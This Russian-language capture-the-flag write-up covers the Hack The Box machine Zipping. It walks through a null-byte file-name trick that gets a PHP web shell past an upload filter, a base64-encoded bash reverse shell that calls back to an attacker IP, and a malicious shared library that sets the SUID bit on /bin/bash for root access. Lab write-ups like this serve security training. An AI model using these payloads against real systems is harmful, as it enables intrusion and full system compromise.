HTB Zipping. Используем инъекцию нулевого байта в ZIP-архиве, чтобы загрузить шелл
Сегодня я покажу интересную уязвимость при загрузке файла на сервер. Мы используем трюк с нулевым байтом, который позволит обойти фильтрацию по расширению файла. Затем для повышения привилегий создадим и загрузим собственную библиотеку для Linux.
Наша цель — захват рута на тренировочной машине Zipping с площадки Hack The Box. Уровень ее сложности — «средний».
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Скрипт нашел два открытых порта:
Давай посмотрим, что нам покажет веб‑сервер.
ТОЧКА ВХОДА
Гуляя по страницам сайта, находим форму загрузки файлов, а это потенциальная точка входа.
На странице нам сообщают, что сервер ожидает загрузку ZIP-архвиа с файлом в формате PDF. При загрузке такого архива получаем ссылку на загруженный файл.
Загрузить что‑то иное не вышло. Неудачей оканчивается и загрузка архива, содержащего файл в другом формате.
Интересно, как веб сервер понимает, что архив содержит именно PDF. Определять можно по по сигнатуре, либо по расширению файла.
Чтобы определить способ фильтрации, создадим обычный текстовый файл, но выставим расширение .pdf. Файл успешно загружается, значит фильтрация происходит по расширению.
Наша цель — загрузить файл, который смог бы исполняться веб‑сервером, например, скрипт на PHP. Мы могли бы запросить его и выполнить содержимое. Чтобы сервер правильно его распознал, обязательно задать расширение .php, но оно не пройдет мимо фильтра. Что делать?
В таких случаях помогает трюк с null-байтом. Его смысл заключается вот в чем. Между двумя расширениями файла вставляется null-байт. Например, можем назвать файл test.php%00.txt
. При проверке расширения сервер прочитает конец строки и решит, что это текстовый файл. Но при загрузке файла на сервер строка после нулевого байта будет отброшена, файл сохранится с расширением .php, и мы сможем его запустить.
Итак, давай создадим и заархивируем файл test.txt-.pdf
(создать файл сразу с null-байтом файловая ОС нам не позволит). Отправив запрос, проверяем его в Burp Repeater. Здесь легко выбрать отправленный файл и просмотреть через Inspector.
В обеих строках test.txt-.pdf
заменим символ -
на байт \0
, сохраним измененные данные и выполним запрос.
Судя по сообщению, файл успешно загружен, но при попытке просмотреть его, что‑то идет не так.
Давай попробуем заменить символ -
на байт \0
только во втором случае и повторим загрузку файла.
Теперь при обращении к файлу test.txt
на сервере получаем его содержимое.
Мы нашли способ обхода проверки и можем залить на сервер веб‑шелл.
ТОЧКА ОПОРЫ
Будем использовать простейший шелл на PHP:
Когда файл загружен, обращаемся к шеллу и выполняем команду id
, чтобы проверить, что все работает.
curl 'http://zipping.htb/uploads/633fe181aa160051ec44d0d1f2dfa3c6/s.php?c=id'
Мы пробили сервер, но работать с таким шеллом неудобно. Давай получим более стабильную оболочку. В качестве листенера будем использовать очень удобный pwncat-cs:
Вот подходящий реверс‑шелл на Bash:
bash -i >& /dev/tcp/10.10.16.11/4321 0>&1
Однако просто передать его как параметр через адресную строку у нас не получится, поэтому закодируем реверс‑шелл в Base64, а потом запустим на удаленном сервере, используя вот такой конвейер команд:
echo <base64_reverse_shell> | base64 -d | bash
Получается вот такой запрос:
curl 'http://zipping.htb/uploads/633fe181aa160051ec44d0d1f2dfa3c6/s.php?c=echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTEvNDMyMSAwPiYx%20|%20base64%20-d%20|%20bash'
Так мы получаем стабильную сессию и первый флаг.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нужно собрать информацию о системе. Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в случае с Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Листенер pwncat-cs
позволяет как скачивать, так и загружать файлы. Комбинацией клавиш Ctrl-D выходим из сессии и набираем такую команду:
upload linpeas.sh /tmp/linpeas.sh
Файл будет загружен на сервер. Командой back
возвращаемся обратно в нашу сессию и запускаем скрипт:
Дадим скрипту право на выполнение и запустим сканирование. В выводе будет много информации, но полезного мало. Уцепиться можно только за настройки sudoers.
Справка: sudoers
Файл /etc/sudoers
в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l
.
Здесь указан файл /usr/bin/stock
, а это значит, что мы можем выполнить его от имени суперпользователя без авторизации. Однако сам файл, стоит его запустить, запрашивает пароль.
Это не стандартный бинарник из Linux, поэтому скачаем его на локальный хост для анализа.
<Ctrl>+D download /usr/bin/stock back
Открываем файл в любом декомпиляторе. Я обычно использую IDA Pro.
Получив от пользователя пароль, программа передает его в функцию checkAuth
(строки 53-58). Затем, если проверка пройдена, закодированная строка в переменной file
расшифровывается в функции XOR и передается в функцию dlopen
(строки 60-48). Так как функция dlopen
загружает динамическую библиотеку, зашифрованные данные — это путь к файлу библиотеки. Перейдем к функции checkAuth
, где получим пароль.
Я решил не расшифровывать строку, а просто запустить файл под перехватчиком системных вызовов strace
.
После ввода пароля получаем не только путь /home/rektsu/.config/libcounter.so
к файлу библиотеки, но и сообщение об ошибке, что такого файла не существуют. Это явный путь к повышению привилегий.
Сделаем библиотеку, которая при подгрузке исполняемым файлом назначит S-бит файлу командной оболочки /bin/bash
.
#include <stdlib.h>
#include <unistd.h>
static void lpe() __attribute__((constructor));
void lpe() {
setuid(0);
setgid(0);
system("chmod u+s /bin/bash");}gcc -shared -o libcounter.so -fPIC libcounter.с sudo /usr/bin/stock
Когда мы создадим библиотеку и выполним приложение, файл /bin/bash
должен получить S-бит, а значит может быть запущен обычным пользователем от имени root
с соответствующими привилегиями.